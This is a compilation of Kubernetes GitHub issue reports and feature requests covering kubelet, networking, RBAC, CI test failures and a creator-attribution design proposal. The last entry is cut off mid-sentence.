\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r on windows server with sandbox support the cni gets called for all the containers within the pod including the sandbox container itself.\r \r   what you expected to happen  :\r the cni should be called only for the sandbox container since they share the same network details.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. start kubelet\r 2. start pod\r 3. look at the parameters that get passed when the cni is called\r \r \r   anything else we need to know?  :\r this applies to windows server with sandbox support. the cni should be called only for the infra container.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    verify-master  https://k8s-testgrid.appspot.com/sig-release-master-blocking verify-master \r    verify-1.13  https://k8s-testgrid.appspot.com/sig-release-1.13-blocking verify-1.13 \r \r   which test s  are failing  :\r   verify godeps\r   verify staging-godeps\r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-verify-beta/3127\r \r   since when has it been failing  :\r 11/17 6am ish\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-release-master-blocking verify-master\r \r   reason for failure  :\r      cd /go/src/k8s.io/kubernetes/_output/dockerized/go/src/github.com/mholt/caddy; git checkout 2de495001514ed50eac2e09f474c32d417100c5c\r error: your local changes to the following files would be overwritten by checkout:\r \tdist/changes.txt\r \tdist/readme.txt\r please commit your changes or stash them before you switch branches.\r aborting\r godep: error downloading dep  github.com/mholt/caddy/caddyfile : exit status 1\r godep: error downloading some deps. aborting restore and check.\r !!!  1117 16:55:51  call tree:\r !!!  1117 16:55:51   1: /go/src/k8s.io/kubernetes/build/../build/common.sh:518 kube::build::run_build_command_ex ... \r !!!  1117 16:55:51   2: /go/src/k8s.io/kubernetes/build/run.sh:39 kube::build::run_build_command ...    \r \r      cd /tmp/gopath.kzbghm/src/github.com/mholt/caddy; git checkout 2de495001514ed50eac2e09f474c32d417100c5c\r error: your local changes to the following files would be overwritten by checkout:\r \tdist/changes.txt\r \tdist/readme.txt\r please commit your changes or stash them before you switch branches.\r aborting\r godep: error downloading dep  github.com/mholt/caddy/caddyfile : exit status 1\r godep: error downloading some deps. aborting restore and check.\r    \r \r \r \r <!-- do not edit below this line -->\r   /assign @cblecker \r / /milestone v1.13\r \r /cc @jberkus @bentheelder @mariantalla @mortent

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : gce-new-master-upgrade-cluster-new-parallel\r \r   which test s  are failing  :\r \r varies, but all subpath failures, including:\r \r    sig-storage  csi volumes  driver: csi-hostpath-v0   testpattern: dynamic pv  default fs   subpath should fail if subpath with backstepping is outside the volume  slow \r    sig-storage  csi volumes  driver: csi-hostpath   testpattern: dynamic pv  default fs   subpath should fail if subpath directory is outside the volume  slow \r    sig-storage  csi volumes  driver: csi-hostpath-v0   testpattern: dynamic pv  default fs   subpath should fail if subpath file is outside the volume  slow \r    sig-storage  csi volumes  driver: csi-hostpath   testpattern: dynamic pv  default fs   subpath should fail if subpath file is outside the volume  slow \r \r ... and pretty much every other subpath test, but never all of them at once.\r \r there's also a few other storage tests failing, such as:\r \r    sig-storage  volume expand  slow  verify if editing pvc allows resize\r    sig-storage  detaching volumes should not work when mount is in progress\r \r   since when has it been failing  :  11/22\r \r   testgrid link  :  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-cluster-new-parallel&include-filter-by-regex=. csi. &width=20\r \r   reason for failure  :\r \r these flakes started around the time that  71314 merged, but doesn't match up with the exact merge stamp, so it's probably coincidental.\r \r the subpath test failures seem to be mostly timeouts:\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:254\r while waiting for failed event to occur\r expected error:\r     < errors.errorstring | 0xc0000d1860>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:601\r    \r \r ... so possibly this is just gce fail.\r \r   anything else we need to know  :\r \r this test job has always been flaky, with around a 40% failure rate.\r \r <!-- do not edit below this line -->\r   / \r cc\r @saad-ali @aishsundar @liggitt

currently, a cluster created with salt gets a bunch of secrets automatically created. you can see them here:      $ kubectl get secrets --namespace=kube-system name                              type                                  data default-token-flvj5               kubernetes.io/service-account-token   2 token-admin                       opaque                                1 token-kube-proxy                  opaque                                1 token-kubelet                     opaque                                1 token-system-controller-manager   opaque                                1 token-system-dns                  opaque                                1 token-system-logging              opaque                                1 token-system-monitoring           opaque                                1 token-system-scheduler            opaque                                1      ignore  default-token-flvj5 , which is fine.  the others   token-    were added to the cluster turnup process prior to the existence of service accounts.  the intent was to have different accounts for each component that accesses the apiserver, to allow for giving them least privilege.  however, this has yet to be implemented, and if we did implement it today, we'd use custom service accounts for each component, which would generate their own tokens.  so, we wouldn't do it this way.  it looks like approximately nothing in github.com/kubernetes/kubernetes or github.com/kubernetes/contrib is referencing the  token-   secrets.  so, we can remove the code that creates them.  the code that creates the secrets is here: https://github.com/kubernetes/kubernetes/blob/185b5af26f069d34e3cfab653fdabfc3d22f7915/cluster/saltbase/salt/kube-addons/kube-addons.sh l190  we also don't need to put most of those tokens in the known-tokens.csv file. that happens in these places: -  aws  https://github.com/kubernetes/kubernetes/blob/a171d2e4fb81f3422a561f9a21d7b1632dab1494/cluster/aws/templates/create-dynamic-salt-files.sh l111  -  gce  https://github.com/kubernetes/kubernetes/blob/a171d2e4fb81f3422a561f9a21d7b1632dab1494/cluster/gce/configure-vm.sh l322  -  rackspace  https://github.com/kubernetes/kubernetes/blob/a171d2e4fb81f3422a561f9a21d7b1632dab1494/cluster/rackspace/util.sh l148  -  vagrant  https://github.com/kubernetes/kubernetes/blob/a171d2e4fb81f3422a561f9a21d7b1632dab1494/cluster/vagrant/provision-master.sh l224   we still want the kubelet and kube-proxy tokens in that file, but we don't need those to become api tokens.

per our  versioning policy  https://github.com/kubernetes/kubernetes/blob/master/docs/design/versioning.md .

kubelet is responsible for deleting pods when the  deletiontimestamp  is set. normally a pod worker  goroutine  will kill the containers in a pod and  generate a new status. then the status manager will  delete the pod  https://github.com/kubernetes/kubernetes/blob/0b647564fce5e3450536388fa0067ca2e347310f/pkg/kubelet/status/manager.go l376  after successfully updating the status. however, if the pod has terminated long before the deletion timestamp is set, there would not be a pod worker associated with it. to ensure we delete the pod, in the cleanup routine, kubelet calls  terminatepods    https://github.com/kubernetes/kubernetes/blob/0b647564fce5e3450536388fa0067ca2e347310f/pkg/kubelet/kubelet.go l1895  to forcibly trigger a status update. there are a few problems with this approach: - if there is a delay in watch or in processing the pod updates, kubelet would repeatedly increment the status version, causing huge number of updates piled up in the queue - pod worker could compete with the cleanup routine to update the status, causing undesirable race  more updates   this becomes much worse in many e2e tests because of the batch creation/deletion of pods, and the next test will be stuck with processing these updates. we can apply some bandaids such as reducing the frequency of calling  terminatepods  or ensure we only trigger one termination notice per pod. in the long run, we might want to consider decoupling status updates & pod deletion so that we don't have to trigger a status update in order to delete a pod.  /cc @timstclair @random-liu

this issue is a sibling to  33351.  currently  for the docker runtime , the bind-mount option that relabels volumes with a context usable from a container is currently applied only if an selinux context is explicitly specified in the pod spec.  this means that customers who want selinux isolation must manage their own mcs labels, which is an undue burden.  instead, we should always apply the  :z  flag to bind-mounts if selinux is enabled  and maybe just always, since the option is ignored if selinux is not enabled .  i am gradually working through a pr for this; wanted to call it out as a separate issue.  i may open a pr with a proposal first to make it explicit in the design docs directory.

... in a more consistent way, especially when looking from the cross-cluster perspective. currently there is no rolling update subresource, sub-deployments may have different revision numbers, max surge/max unavailable are handled separately in each cluster, etc.\r \r cc: @madhusudancs @nikhiljindal

when kube-proxy fails to open a nodeport, it gives up setting up the rest of the iptables rules for the service. https://github.com/kubernetes/kubernetes/blob/release-1.5/pkg/proxy/iptables/proxier.go l1105\r leaving the service not usable. cannot even use it with clusterip. kube-proxy only logs this error in  kube-proxy.log . no useful information can be retrieved with kubectl. \r \r need to record a event at least. \r

is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r master or 1.5.x \r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : \r -   kernel    e.g.  uname -a  :\r -   install tools  : kube-up.sh\r -   others  :\r \r \r   what happened  :\r \r kubernetes federation plane started via kubefed creates a load balancer between 3 nodes  so basically target pool consists of 3 instances  but the federation-apiserver has only 1 replica running on a particular node and hence every other api interaction with federation plane results in - \ 104.xxxxxxx. no route to host\  error.\r \r   what you expected to happen  :\r \r i would expect it to work.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r create a federation plane using kube-up.sh and  kubefed  on gce. \r \r

examples: https://github.com/kubernetes/kubernetes/blob/ab794c612853e6c6dfda63594cb5d74914e7e151/staging/src/k8s.io/client-go/kubernetes/typed/extensions/v1beta1/fake/fake_deployment.go l49 and https://github.com/kubernetes/kubernetes/blob/ab794c612853e6c6dfda63594cb5d74914e7e151/federation/client/clientset_generated/federation_clientset/typed/extensions/v1beta1/fake/fake_deployment.go l39.\r \r here the default return obj passed to  invokes  is  &v1beta1.deployment{} . why not pass the deployment object that the function received?\r one of my unit test is failing which i can fix by adding a reactor that returns the object that it received, but i was expecting it to be handled by default  without needing to act a reactor .\r am i expecting it wrong?\r \r cc @caesarxuchao @kubernetes/sig-api-machinery-misc

i bumped into this when i am trying to run a pod with hostport on a node where the port is occupied. in this case, kubenet will clean up all network artifacts and return error to dockershim. and dockershim will return error to kubegenericruntimemanager. \r \r but somehow, kubegenericruntimemanager lets the pod stay and declare it  running  but with no ip. this implies that errors returned by network plugins will not cause pod start up failure. \r \r \r \r    \r $ k describe pod hostporttest-1751457092-gsnkh\r name:\t\thostporttest-1751457092-gsnkh\r namespace:\tdefault\r node:\t\te2e-test-mixia-minion-group-2ztx/10.240.0.4\r start time:\ttue, 07 mar 2017 17:46:47 -0800\r labels:\t\tpod-template-hash=1751457092\r \t\trun=hostporttest\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ default\ ,\ name\ :\ hostporttest-1751457092\ ,\ uid\ :\ 3404cdc2-039c-11e7-878c-42010af0...\r \t\tkubernetes.io/limit-ranger=limitranger plugin set: cpu request for container hostporttest\r status:\t\trunning\r ip:\t\t\r controllers:\treplicaset/hostporttest-1751457092\r containers:\r   hostporttest:\r     container id:\tdocker://1de8ae5594960e65c8044c10c08c9c6dd910c3aaa4d8db79d107c76dc69a682b\r     image:\t\tgcr.io/mixia-cube/serve_hostname:v1.4\r     image id:\t\tdocker://sha256:d94f6f38bd6f57b6d3d79e70f641fdc7be7a7e9389d7bbe2374ad3df922a35bb\r     port:\t\t9376/tcp\r     state:\t\trunning\r       started:\t\ttue, 07 mar 2017 17:46:51 -0800\r     ready:\t\ttrue\r     restart count:\t0\r     requests:\r       cpu:\t\t100m\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-whmz6  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \ttrue \r   podscheduled \ttrue \r volumes:\r   default-token-whmz6:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-whmz6\r     optional:\tfalse\r qos class:\tburstable\r node-selectors:\t<none>\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t\t-------------\t--------\t------\t\t-------\r   16s\t\t16s\t\t1\tdefault-scheduler\t\t\t\t\t\tnormal\t\tscheduled\tsuccessfully assigned hostporttest-1751457092-gsnkh to e2e-test-mixia-minion-group-2ztx\r   14s\t\t14s\t\t1\tkubelet, e2e-test-mixia-minion-group-2ztx\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: failed to \ createpodsandbox\  for \ hostporttest-1751457092-gsnkh_default 1792f0bc-03a1-11e7-878c-42010af00002 \  with createpodsandboxerror: \ createpodsandbox for pod \\\ hostporttest-1751457092-gsnkh_default 1792f0bc-03a1-11e7-878c-42010af00002 \\\  failed: rpc error: code = 2 desc = networkplugin kubenet failed to set up pod \\\ hostporttest-1751457092-gsnkh_default\\\  network: cannot open hostport 80 for pod hostporttest-1751457092-gsnkh_default: listen tcp :80: bind: address already in use\ \r \r   12s\t12s\t1\tkubelet, e2e-test-mixia-minion-group-2ztx\tspec.containers{hostporttest}\tnormal\tpulled\tcontainer image \ gcr.io/mixia-cube/serve_hostname:v1.4\  already present on machine\r   12s\t12s\t1\tkubelet, e2e-test-mixia-minion-group-2ztx\tspec.containers{hostporttest}\tnormal\tcreated\tcreated container with id 1de8ae5594960e65c8044c10c08c9c6dd910c3aaa4d8db79d107c76dc69a682b\r   12s\t12s\t1\tkubelet, e2e-test-mixia-minion-group-2ztx\tspec.containers{hostporttest}\tnormal\tstarted\tstarted container with id 1de8ae5594960e65c8044c10c08c9c6dd910c3aaa4d8db79d107c76dc69a682b\r    \r

failure cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html f074df9484809efe97f4\r testgrid: https://k8s-testgrid.appspot.com/google-gke-latest-upgrade gci-1.4-gci-latest-upgrade-master&sort-by-failures=\r \r failure rates:\r   job - 350/week\r   disruptioncontroller - 50/week\r   statefulset - 50/week\r   cronjob - 36/week\r \r possibly related: https://github.com/kubernetes/kubernetes/issues/44508\r \r also note that these tests are mostly failing in suites we intend to delete next week, so approving the prs in https://github.com/kubernetes/test-infra/issues/2453 is one way to deal with these failures.\r \r /assign @michellen @mattfarina @janetkuo @erictune

-     run a few examples from the cuda_samples repo\r -     run a tensorflow example

failure cluster  6a7a6648e4c81dcb4396  https://go.k8s.io/triage 6a7a6648e4c81dcb4396        error text:     error during ./hack/ginkgo-e2e.sh: exit status 1           failure cluster statistics: 1 tests failed,    5 jobs failed,    100 builds failed. failure stats cover 1 day time range '25 may 2017 13:03 utc' to '26 may 2017 13:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 5 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-pre-release | 52 |  26 may 2017 12:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-pre-release/2254  | | ci-kubernetes-e2e-gke-pre-release | 45 |  26 may 2017 11:54 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-pre-release/2257  | | ci-kubernetes-e2e-gci-gke-subnet | 1 |  25 may 2017 23:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-subnet/1749  |   current status  https://go.k8s.io/triage 6a7a6648e4c81dcb4396

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  : there are rollout commands for deployment and daemonset, but not statefulset. as part of greater core controller ga plan, implementing kubectl rollout command for statefulset will contribute to standardization of existing kubectl commands across all core controllers.\r \r   what you expected to happen  : as  pause  and  resume  are not applicable for current statefulset operations, kubectl should support rollout  history ,  status , and  undo  commands for statefulset.\r \r   how to reproduce it  as minimally and precisely as possible   : n/a\r \r   anything else we need to know?  : i have started working on this.\r \r   environment  : n/a\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r   what happened  :\r all pods in namespace  kube-system  were recreated at the same time i checked it with  describe  command \r    \r ➜  kubectl get pods --all-namespaces -o wide | grep kube-syste \r kube-system                   autoscaler-default-pool-1869236409-90b0x               1/1       running   0          1d        10.0.40.3    ip-192-168-3-81.ec2.internal\r kube-system                   heapster-1395602609-nsnbb                              1/1       running   0          1d        10.0.52.6    ip-192-168-3-51.ec2.internal\r kube-system                   kube-dns-3322172552-4zvzm                              4/4       running   0          1d        10.0.119.6   ip-192-168-3-139.ec2.internal\r kube-system                   kube-dns-3322172552-bs83c                              4/4       running   0          1d        10.0.52.7    ip-192-168-3-51.ec2.internal\r kube-system                   kube-dns-3322172552-xvqtg                              4/4       running   0          1d        10.0.93.6    ip-192-168-3-86.ec2.internal\r kube-system                   kubernetes-dashboard-1797832652-qvs6z                  1/1       running   0          1d        10.0.52.8    ip-192-168-3-51.ec2.internal\r kube-system                   monitoring-grafana-3319647107-jgpgm                    1/1       running   0          1d        10.0.52.10   ip-192-168-3-51.ec2.internal\r kube-system                   monitoring-influxdb-3480804314-kq8kv                   1/1       running   0          1d        10.0.52.11   ip-192-168-3-51.ec2.internal\r    \r \r   what you expected to happen  :\r look like a bug to me, how it is possible all pods in the same namespace were recreated at the same time, other pods in other namespaces weren't recreated. it wasn't even restarted but recreated. i didn't find any issue or error which will indicate about it. it already happened few time before, i want to understand the root cause.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i don't have any way to reproduce it. it just happening from time to time.\r \r   environment  :\r - kubernetes version  use  kubectl version  :   v1.6.4  \r - cloud provider or hardware configuration  :   aws  \r - os  e.g. from /etc/os-release :   centos 7  \r - kernel  e.g.  uname -a  :   linux ip-192-168-1-89 3.18.25-19.el7.x86_64  \r - install tools:   from scratch

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r gce controller leaks firewall & health check resources if cluster uid is changed.\r \r   what you expected to happen  :\r \r gce controller should cleanup resources with old cluster uid.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. bring up a 1.7+ cluster on gce.\r 2. create a service with  type=loadbalancer .\r 3. change cluster uid by editing configmap  ingress-uid  in kube-system namespace.\r 4. delete the service.\r 5. resources are leaked.\r \r   anything else we need to know?  :\r cc @nicksardo @csbell @madhusudancs @nikhiljindal \r \r

what is the rbac policy to lock down creating to a particular object  in my case, a secret ?\r \r i've tried:\r \r    \r - apigroups:  \ \  \r   resources:  \ secrets\  \r   verbs:  \ create\  \r   resourcenames:  \ singleton\  \r    \r \r but that gives me \ ...cannot create secrets...\ \r \r it seems to need:\r \r    \r - apigroups:  \ \  \r   resources:  \ secrets\  \r   verbs:  \ create\  \r    \r \r  similar to  54079 \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the kcm exposes the  --concurrent-service-syncs  flag to allow changing the number of workers performing concurrent service syncs for load balancer services. the ccm does not expose this flag currently.\r \r   what you expected to happen  :\r \r i expect the ccm to expose  --concurrent-service-syncs \r \r \r  /area cloudprovider\r /assign

 \r cc. @timothysc \r \r   what happened  :\r since https://github.com/kubernetes/kubernetes/pull/50984 - specifically https://github.com/kubernetes/kubernetes/pull/50984/files diff-bf28da68f62a8df6e99e447c4351122dr303, kubelet always calls  cfg.channel kubetypes.apiservertype  , leading it to always register an apiserver source with the  podconfig . this leads to  podconfig.seenallsources  to never return true in cases where the kubelet is not configured to communicate with an apiserver. \r \r the direct result of this is that when removing a manifest from the directory, kubelet never kills the containers.\r \r   what you expected to happen  :\r \r the containers get killed properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r configure kubelet standalone without an apiserver, and with a static pod manifest path. add a manifest, then remove it. observe the containers stick around. set logging to greater than level 6, and see a lot of  feb 02 16:57:17 i-0ad42c5386ecaee18 kubelet 2496 : i0202 16:57:17.315020    2524 config.go:99  looking for  api file , have seen map file:{}  .\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.2  1.8.7 works

 controller has the logic to check that only one priorityclass is marked as global default. however, due to inherent race condition associated with creating multiple api objects at the same time, especially in ha cases, more than one priorityclass marked as global default may get into the system. in that case, the admission controller must pick deterministically. for example, it could pick the one with lowest  \r   is this a bug report or feature request?  :\r  \r  \r ref/  59679  59712\r cc/ @liggitt

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r \r since 1.10 the kubelet does not start anymore. identical config as for 1.9.6.\r \r error is:  \ 23:23:44.967761    7342 kubelet.go:1349  kubelet failed to get node info: failed to get external id from cloud provider: instance not found \r \r   what you expected to happen  :\r \r kubelet starting\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r this is caused by eaac0f5489de823f9e5805c53855560ae1a64156 which changed the openstack cloud provider to not use the  name  metadata attribute but the  hostname  metadata attribute as the instance name to look for in the openstack api.\r \r however openstack constructs the metadata.hostname attribute by appending a dhcp domain to the name - this obviously means there will never be an instance with that name in the api, thus the kubelet fails.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r see  62361\r \r   what you expected to happen  :\r if using fully qualified account names in messages such as\r    \r error: error when upgrading: deployments.extensions \ tiller-deploy\  is forbidden: user \ system:serviceaccount:default:helm\  cannot get deployments.extensions in the namespace \ kube-system\ : unknown user \ system:serviceaccount:default:helm\ \r    \r document somehwere what each component means, e.g.  ???:<account-type>:<namespace>:<name> .\r \r   how to reproduce it  as minimally and precisely as possible   :\r i am trying to make helm work with rbac  according to https://github.com/kubernetes/helm/blob/master/docs/rbac.md .\r \r   anything else we need to know?  :\r ideally kubectl could show the qualified name too. if the user would actually be unknown, why can i do:\r     shell\r $ kubectl describe serviceaccount helm\r name:         helm\r namespace:    default\r labels:       <none>\r annotations:  kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ serviceaccount\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ helm\ ,\ namespace\ :\ default\ }}\r \r ...\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:13:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.8-gke.0\ , gitcommit:\ 6e5b33a290a99c067003632e0fd6be0ead48b233\ , gittreestate:\ clean\ , builddate:\ 2018-02-16t18:26:58z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke\r

 \r \r   what happened  :\r \r kubernetes is not tested with current docker versions, specifically the one in ubuntu 18.04 lts  17.12.1, see https://packages.ubuntu.com/bionic/docker.io \r \r   what you expected to happen  :\r \r e2e tests being run for docker 17.12.1 at least, ideally also for 18.03\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r check https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/system/docker_validator_test.go for the versions that are tested.\r \r   anything else we need to know?  :\r \r see https://github.com/kubernetes/kubernetes/pull/52666 for an example of a previous pr that added a new docker version to e2e tests.\r \r see https://docs.docker.com/release-notes/docker-ce/ for a list of current stable releases.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r >  \r   what happened  :\r when making a patch request, getting error \ json: cannot unmarshal object into go value of type jsonpatch.patch\ \r \r   what you expected to happen  :\r have successful patch request\r \r   how to reproduce it  as minimally and precisely as possible   :\r >  curl --request patch https://{clusterhostname.com}/apis/apps/v1/namespaces/{currentnamespace}/deployments/{name} --data {data} --cacert {serviceaccountcertificate} -h \ authorization: bearer {serviceaccountbearertoken}\  -h  \ content-type: application/json-patch+json\  -h 'accept: application/json' \r \r response:\r    \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r \r   },\r   \ status\ : \ failure\ ,\r   \ message\ : \ json: cannot unmarshal object into go value of type jsonpatch.patch\ ,\r   \ code\ : 500\r }\r    \r   anything else we need to know?  :\r - confirmed permissions check of service account as an admin via kubectl auth can-i:\r \r     yaml\r apiversion: rbac.authorization.k8s.io/v1\r   kind: role\r   metadata:\r     name: {name}\r     namespace: {namespace}\r   rules:\r   - apigroups:\r     - apps\r     - extensions\r     resources:\r     - deployments\r     verbs:\r     - get\r     - patch\r    \r - making separates calls above using '--request get' and '--request post' returns expected responses  status code 200 and 403, respectively \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r > client version: v1.11.3\r > server version: v1.11.2\r - cloud provider or hardware configuration:\r > azure  aks \r - os  e.g. from /etc/os-release :\r > macos v10.13.6\r - kernel  e.g.  uname -a  :\r > darwin kernel version 17.7.0\r - install tools:\r - others:\r \r @kubernetes/sig-api-machinery-bugs

what would you like to be added  :\r currently mutex lock is acquired in plugins.go for accessing different maps.\r some functions only read map entry:\r    \r func isfitpredicateregistered name string  bool {\r         schedulerfactorymutex.lock  \r         defer schedulerfactorymutex.unlock  \r         _, ok := fitpredicatemap name \r    \r we can utilize rwmutex where the above function acquires read lock.\r \r   why is this needed  :\r for concurrent calls to isfitpredicateregistered / ispriorityfunctionregistered, read lock would lower contention.

currently no creator information is recorded at the time an object is created. the creator may be: - an end user calling the api  authenticated via the authenticator interfaces  - a controller calling the api  authenticated via authenticator  - a core controller locally invoking the storage interfaces  bypasses authentication  - someone directly editing etcd  repair process or object created in the past .  it is a common requirement to record audit information with objects that allow uis and administrators to determine the actor involved in a transaction. the information may be recorded in a side channel  an audit log , but end users may also wish to understand who created a particular object.  use cases: - allow clients to determine which user made a change - allow an administrator to reconstruct an audit record for who created which resources were created in the system  in the first two scenarios above, the user is clearly identified   getusername    on the user resolved by the authenticator, which rest.storage has access to .  in the third, this is effectively what we call a \ system\  user, and could be assigned an arbitrary username that does not collide with real user names, or left blank.  in the last case there is probably a user name, but no mechanism whereby it is provided.     considerations      inferential attribution - actions may not be undertaken by a user, but on behalf of a user   - the replication controller process creates pods on behalf of the user who created a replication controller, but if another user edits the replication controller, both users may have a causal relationship to the pods created   - a virtual resource may run as elevated privileges against another api and allow a user to create a resource they normally don't have permission to create - both the end user and the api process have a causal relationship to the underlying resource   - a higher privilege user may request to run as another user via   impersonation   - the actor is the higher privilege user, but they are explicitly wishing to be recorded as acting as the impersonated user - actions may be separated in time and space from their cause   - a user may delete a node, which results in a pod being deleted, which results in a pod being created by a replication controller  recommendation: we should scope the attribution of creation to the caller  direct creator , and ensure that an external \ audit log\  could be constructed that can infer chain of attribution for complex cases.      creating child resources  in general, it may be desirable for high level constructs  deployments, scheduled jobs  that create lower level resources  replication controllers, jobs  to propagate creation attribution. however, that raises a security risk that the creating component can lie about the source of a creation. since an audit trail can be reconstructed between parent and subordinate resources by observing api changes, it is not necessary to propagate that info.      referencing a user  we currently define a  user name  as a string that represents a unique user. that value is expected to be stable over the time periods the admin desires  only admin action would result in a user name changing . under the covers, the user name may refer to many different types of users - the  authentication design  https://github.com/kubernetes/kubernetes/blob/master/docs/design/access.md  identifies two: - user   - serviceaccount - a namespaced resource that represents a unique automated identity     - in the future, this account may be backed by an external user   - externaluser - via an external system     - may be a human or an external service account  in addition, we have an implicit type: - systemuser - created implicitly in the infrastructure to represent distinct process identity prior to bootstrapping of service accounts or external users   - which user represents the code in the master that creates the default service account?  the  authenticator  interface requires all of the above users to be mapped into a single user name string before filtering through the system. this string is the  username  and must be unique across all sources of authentication.  it is assumed that the audit system and other client systems understand the mapping between the various authentication sources and  username .  these mappings may differ between different installations.  it should be possible for a client or third party to provide a  username  and retrieve an object  or objects?  representing the source of the user name.   as an example, kube must overlay the service account user identifier onto the external authenticator source. today, that is enforced via a unique prefix  system:serviceaccount:  that is reserved. in the future, we may map  serviceaccount  to an external user, in which case the unique prefix may not be needed. openshift, which needs to manage users internally as well as externally, uses a further system of subdivision of namespace to assign a  username  via indirection.     proposed change  when objects are created through rest.storage, record the identifying user info onto the object. add  creationusername string  to  objectmeta  and assign it the  getusername    value provided by the authenticator. this value may not be changed, but may be unset if authentication is disabled.  implications for clients: - clients will want to show \ pretty\  names to end users   username  may be email, but may also be a unique identifier or ldap dn or short name . clients that wish to do that will need a way to map  username  to a useful value efficiently and in bulk  it's assumed that the \ pretty name\  for a user changes at very infrequent intervals  - clients may be tempted to assume the  username  can be parsed. this limits the admin's ability to change this value. instruct clients not to assume the  username  value will be human readable or that it follows a parseable pattern.  other implications: - clients should not be allowed to set the  creationusername .  - administrators may wish to migrate old data to assign a 